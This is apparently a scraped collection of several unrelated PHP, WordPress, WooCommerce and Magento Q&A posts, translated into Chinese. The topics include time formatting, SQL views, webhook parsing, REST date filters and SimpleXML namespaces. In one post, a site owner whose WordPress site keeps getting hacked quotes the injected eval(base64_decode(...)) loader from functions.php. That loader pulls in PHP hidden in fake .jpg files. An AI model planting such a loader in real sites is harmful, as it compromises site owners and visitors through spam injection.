我从以下格式的数据库调用中获取时间值:
HH:MM:SS
Run Code Online (Sandbox Code Playgroud)
这里有些例子:
08:15:00
22:45:00
Run Code Online (Sandbox Code Playgroud)
但是,我需要使用上面的示例转换这些并显示它们,如下所示:
8:15 AM
10:45 PM
Run Code Online (Sandbox Code Playgroud)
等等。我一直在玩 strtotime 选项,但到目前为止我尝试过的一切都失败了,我不确定这是否是正确的功能。我需要从到:
$bookingTime = "08:15:00"
Run Code Online (Sandbox Code Playgroud)
到:
$bookingTime = "8:15 AM"
Run Code Online (Sandbox Code Playgroud) 我正在为我的Wordpress数据库创建一些SQL视图,以便更轻松地查看通过WooCommerce插件生成的在线订单.我熟悉WooCommerce结构以及数据存储的位置,但作为一个SQL新手我陷入了最后的障碍.
我已经能够使用此参考创建所有订单详细信息的第一个视图:
http://codecharismatic.com/sql-script-to-get-all-woocommerce-orders-including-metadata/
现在我需要为每个订单创建一个类似的订单项视图.有2个表存储订单商品详情:
wp_woocommerce_order_items wp_woocommerce_order_itemmeta
我已经能够从wp_woocommerce_order_items表创建基本记录列表,如下所示:
SELECT order_item_id,order_item_name,order_item_type,order_id
FROM ocm_woocommerce_order_items
ORDER BY order_id
Run Code Online (Sandbox Code Playgroud)
这会返回一个很好的记录列表,如下所示:
order_item_id order_item_name order_item_type order_id
2 Widgets line_item 9
3 Widgets line_item 10
4 Widgets line_item 11
5 Woo Logo line_item 473
6 Woo Logo line_item 473
Run Code Online (Sandbox Code Playgroud)
我现在想为wp_woocommerce_order_itemmeta表中的每个订单项添加其他列.此表包含每个订单项的多个记录,如下所示:
meta_id order_item_id meta_key meta_value
136 16 _qty 4
137 16 _tax_class
138 16 _product_id 87
139 16 _variation_id 0
140 16 _line_subtotal 36
141 16 _line_total 36
142 16 _line_subtotal_tax 3.6
143 16 _line_tax 3.6
Run Code Online (Sandbox Code Playgroud)
我想将每个转换为一个新列,因此我的输出将包括:
order_item_id, order_item_name, …Run Code Online (Sandbox Code Playgroud) 我已经设置了一个 Webhook 来将通知发布到我服务器上的 PHP 页面。对我的服务器的通知请求是这样的:
POST /message/receive HTTP/1.1
Host: http://www.yoururl.com/zipwhip/api/receive
Content-Length: 581
Content-Type: application/json; charset=UTF-8
{ "body":"Thanks for texting, this is an auto reply!",
"bodySize":42,
"visible":true,
"hasAttachment":false,
"dateRead":null,
"bcc":null,
"finalDestination":"4257772300",
"messageType":"MO",
"deleted":false,
"statusCode":4,
"id":634151298329219072, "scheduledDate":null, "fingerprint":"132131532", "messageTransport":9, "contactId":3382213402, "address":"ptn:/4257772222",
"read" "dateCreated":"2015-08-19T16:53:45-07:00", "dateDeleted":null,
"dateDelivered":null,
"cc":null,
"finalSource":"4257772222",
} "dev
Run Code Online (Sandbox Code Playgroud)
我尝试使用以下方法将 JSON 数据转换为我可以使用的字符串,但到目前为止我什么也没得到:
$inputJSON = file_get_contents('php://input');
$input= json_decode( $inputJSON, TRUE );
Run Code Online (Sandbox Code Playgroud)
我读过的所有内容都表明这应该有效 - 我测试了以下内容,这实际上是有效的:
$webhookContent = "";
$webhook = fopen('php://input' , 'rb');
while (!feof($webhook)) {
$webhookContent .= fread($webhook, 4096);
}
fclose($webhook);
Run Code Online (Sandbox Code Playgroud)
我试图理解为什么 file_get_contents('php://input'); …
我正在使用WooCommerce REST API(http://woocommerce.github.io/woocommerce-rest-api-docs/#introduction),并且能够成功下载客户,订单等.我现在只想下载两个日期之间的订单列表 - 我可以在Orders的文档中看到以下参数:
after string Limit response to resources published after a given ISO8601 compliant date.
before string Limit response to resources published before a given ISO8601 compliant date.
Run Code Online (Sandbox Code Playgroud)
我已将请求的URL修改为:
https://mywebsite.com/wp-json/wc/v1/orders?after=2016-08-05&before=2016-08-06&page=1
Run Code Online (Sandbox Code Playgroud)
但是这个回复我得到400错误:
{
"code": "rest_invalid_param",
"data": {
"params": {
"after": "The date you provided is invalid.",
"before": "The date you provided is invalid."
},
"status": 400
},
"message": "Invalid parameter(s): after, before"
}
Run Code Online (Sandbox Code Playgroud)
据我所知,这两个日期是符合ISO8601标准的有效日期.无法找到此请求应如何显示的示例,因此不确定从何处开始.
我正在尝试生成以下JSON数据:
[
{
"ID": "A1000",
"name": "John Simpson",
"serialID": "S41234",
"tagID": "ABC6456"
},
{
"ID": "B2000",
"name": "Sally Smith",
"serialID": "B5134536",
"tagID": "KJJ451345"
},
{
"ID": "A9854",
"name": "Henry Jones",
"serialID": "KY4239582309",
"tagID": "HYG452435"
}
]
Run Code Online (Sandbox Code Playgroud)
从PHP foreach循环中看起来像这样:
foreach($records as $record) {
$ID = $record->getField('propertyID');
$name = $record->getField('assignedName');
$serialID = $record->getField('serial');
$tagID = $record->getField('tag');
}
Run Code Online (Sandbox Code Playgroud)
我尝试过使用:
$arr = array('ID' => $ID, 'name' => $name, 'serialID' => $serialID, 'tagID' => $tagID);
Run Code Online (Sandbox Code Playgroud)
它适用于循环中的每个记录,但无法计算出将它们连接成一个JSON数据字符串的语法?
我正在运行 Magento 2.2.5 并且无法确定用于发出 API 请求的 URL。例如,要获取国家/地区列表,我使用了以下语法:
/rest/default/V1/directory/countries
Run Code Online (Sandbox Code Playgroud)
这在一些商店有效,但我收到了这个错误:
{
"message" : "Specified request cannot be processed.",
"trace" : null
}
Run Code Online (Sandbox Code Playgroud)
我开始使用 URL 格式并删除“默认”并使用它:
/rest/V1/directory/countries
Run Code Online (Sandbox Code Playgroud)
然后请求成功。如何确定用于 Magento REST API 请求的基本 URL?到目前为止,我还没有找到这个文档。
我正在与我的服务器执行HTTP GET的外部供应商合作以提交交付报告.一切正常,但我无法将时间戳转换为本地格式.时间戳的提交方式如下:
Mon, 15 Aug 2005 15:51:01 +0000
Run Code Online (Sandbox Code Playgroud)
然后我需要在我当地的时区转换为不同的格式.这是我目前的代码:
date_default_timezone_set('UTC');
$ts = $_GET['skebby_date_time'];
$date = DateTime::createFromFormat('D, d M y H:i:s O', $ts);
$date->setTimeZone(new DateTimeZone("Australia/Sydney"));
$fmTimestamp = $date->format('m/d/Y h:i:s A');
Run Code Online (Sandbox Code Playgroud)
这当前正在生成致命错误:在此行的非对象上调用成员函数setTimeZone():
$date->setTimeZone(new DateTimeZone("Australia/Sydney"));
Run Code Online (Sandbox Code Playgroud)
我已经在其他时间戳上使用了类似的代码,所以不知道我在这一点上做错了什么.
我有一个 Wordpress 网站,它不断被黑客入侵。据我所知,正在进行以下更改:
该文件顶部有一些额外的 PHP 代码:
wp-content/themes/enfold/functions.php
如下:
eval(base64_decode("ZnVuY3Rpb24gY2FsbGJhY2soJGNoZWUpe3JlcXVpcmUoIi9ob21lL2RhdGFidXp6L3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ltYWdlcy9tYWdpYy5qcGciKTtyZXR1cm4gKCRjaGVlKTt9b2Jfc3RhcnQoImNhbGxiYWNrIik7"));
Run Code Online (Sandbox Code Playgroud)
并且正在创建 4 个新的 jpg 文件:
/wp-includes/images/geo.jpg
/wp-includes/images/save.jpg
/wp-includes/images/magic.jpg
/wp-includes/images/links.jpg
这些不是真正的 jpg 文件,因为它们没有打开,但是使用文本编辑器查看它们会显示文本和其他 PHP 代码。
从查看 PHP 代码来看,它似乎试图将一些垃圾邮件/广告链接注入到我的 Wordpress 帖子中。
我一直删除这些文件,我安装了一个安全插件,删除了管理员登录,更改了我的所有密码,但这些文件每隔几天就会继续更新/创建。
我试图了解这是怎么可能的,以及接下来我需要做什么来阻止它。
我已经使用 WooCommerce 设置了我的第一个 Webhook,以便在下新订单时通知我的数据库服务器。Webhook 已设置并由我的服务器发送/接收 - 我不想编写一个 PHP 页面来解析 Webhook 的有效负载,以便我可以将带有订单详细信息的新记录写入我的 CRM 数据库。
我在获取 Webhook 的内容时遇到问题。根据 WooCommerce 内部 Webhook 的日志,请求详细信息为(我缩写了内容 JSON 数据):
Headers:
user-agent: WooCommerce/2.6.4 Hookshot (WordPress/4.6.1)
content-type: application/json
x-wc-webhook-source: http://example.com/
x-wc-webhook-topic: order.created
x-wc-webhook-resource: order
x-wc-webhook-event: created
x-wc-webhook-signature: xxxxxxxxxxxxxxxxxxx=
x-wc-webhook-id: 3233
x-wc-webhook-delivery-id: 94
Content:
{"order":{"id":3242,"order_number":3242,"order_key":"wc_order_57f1dbe5bcf03","created_at":"2016-10-03T04:17:41Z", .....
Run Code Online (Sandbox Code Playgroud)
它正在执行 POST 请求,但我无法检索 POST 数据,例如
$postData = var_export($_POST, true);
error_log($postData, 0);
Run Code Online (Sandbox Code Playgroud)
不返回任何 JSON 数据。我正在寻求以下方面的帮助:
我是第一次使用 SimpleXMLElement,需要在我的 XML 中生成一行,如下所示:
<Product xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
Run Code Online (Sandbox Code Playgroud)
我之前没有将 addAttribute 与命名空间一起使用,并且无法在此处使用正确的语法 - 我已经开始了:
$node = new SimpleXMLElement('< Product ></Product >');
$node->addAttribute("xmlns:", "xsd:", 'http://www.w3.org/2001/XMLSchema-instance');
Run Code Online (Sandbox Code Playgroud)
但无法弄清楚如何使用适当的语法更正此问题以生成所需的输出?